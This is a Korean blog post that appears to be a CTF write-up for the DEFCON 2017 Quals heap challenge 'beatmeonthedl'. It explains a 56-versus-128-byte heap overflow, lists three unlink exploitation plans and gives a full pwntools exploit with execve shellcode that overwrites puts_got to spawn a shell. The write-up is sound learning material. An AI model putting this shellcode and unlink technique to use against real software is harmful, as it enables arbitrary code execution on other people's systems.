cdor1's lab
DEFCON 2017 Quals beatmeonthedl 본문
1번 메뉴를 이용해 청크를 할당할 때나
4번 메뉴를 이용해 청크를 수정할 때
56바이트의 청크를 할당했지만 128바이트를 받아 힙 상에서 overflow가 발생한다.
그래서 unlink를 이용해 exploit 할 수 있다.
고맙게도 프로그램에 아무런 보호기법이 설정되어있지 않아서 풀 방법을 바로 찾았는데
1.
1-1. 청크 3개 할당
1-2. 마지막 청크에는 shellcode 삽입
1-3. fd전까지 더미로 덮어서 heap_addr leak(마지막 청크 주소 계산)
1-4. unlink로 malloc pointer 변경
1-5. chunk0 pointer puts_got로 변경
1-6. puts_got를 마지막 청크 주소로 overwrite 해서 execute shellcode
2.
2-1. 청크 3개 할당
2-1. unlink로 malloc pointer 변경
2-2. chunk0 pointer puts_got로 변경
2-3. print로 libc leak
2-4. oneshot 계산후 got overwrite
2-5. execute oneshot
2번 방법은 출제 당시에 라이브러리가 제공되지 않았다고 해서 libcdb같은걸로 삽질 좀 해야한다.
하지만 내 생각대로 exploit을 짜다가 상준이형 writeup을 보게 되었는데
그동안 생각하지 못했던 방법으로 exploit하길래 나두 따라 짜봤다.
unlink를 두번 해서 1번째는 bss에 shellcode를 쓰고
2번째는 got에 쉘코드 주소를 쓰는 방법이다.
3.
3-1. 청크 4개 할당
3-2. unlink로 malloc pointer 변경
3-2. chunk0 pointer bss로 변경
3-3. bss주소에 shellcode write
3-4. unlink로 다시 malloc pointer 변경
3-5. chunk0 pointer puts_got로 변경
3-6. puts_got를 shellcode addr(bss)로 overwrite
3-7. execute shellcode
from pwn import *
s = process('./defcon_be')
def login():
print s.recvuntil('Enter username: ')
s.sendline('mcfly')
print s.recvuntil('Enter Pass: ')
s.sendline('awesnap')
def request_add(text):
print s.recvuntil('| ')
s.sendline('1')
print s.recvuntil('Request text > ')
s.sendline(text)
def print_list():
print s.recvuntil('| ')
s.sendline('2')
def request_delete(num):
print s.recvuntil('| ')
s.sendline('3')
print s.recvuntil('choice: ')
s.sendline(str(num))
def request_change(num, data):
print s.recvuntil('| ')
s.sendline('4')
print s.recvuntil('choice: ')
s.sendline(str(num))
print s.recvuntil('data: ')
s.send(data)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
login()
request_add('aaaa')
request_add('bbbb')
request_add('cccc')
request_add('dddd')
payload = 'a'*48
payload += p64(0)
payload += p64(0x42)
payload += p64(0x609E80 - 0x18)
payload += p64(0x609E80 - 0x10)
request_change(0, payload)
request_delete(1)
payload_overwrite = 'a'*24
payload_overwrite += p64(0x609B00)
request_change(0, payload_overwrite)
request_change(0, shellcode)
request_change(2, payload)
request_delete(3)
payload_overwrite = 'a'*24
payload_overwrite += p64(0x609958)
request_change(0, payload_overwrite)
request_change(0, p64(0x609B00))
s.interactive()
다 쓰고 해찬이형 블로그에서 알게된 사실인데
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
구현된 free에 fd와 bk가 malloc pointer를 가르키는지 check하는 루틴이 없어
그냥 fd에 got넣고 bk에 shellcode_addr 넣어서 exploit해도 된다.
좀더 꼼꼼히 분석하는 습관을 가져야겠다.
http://cdor1.tistory.com/44
참고
-참조-
http://y0ubat.tistory.com/332
http://s0ngsari.tistory.com/entry/Defcon-2017-beatmeonthedl
'Security > Pwnable' 카테고리의 다른 글
pwnable.tw silver_bullet (0) | 2017.05.17 |
---|---|
DEFCON 2017 quals mute (0) | 2017.05.16 |
NOE systems double_input.c (0) | 2017.05.11 |
DEFCON 2017 Quals smashme (0) | 2017.05.11 |
NOE systems pwnable BURYBURY.c (0) | 2017.05.11 |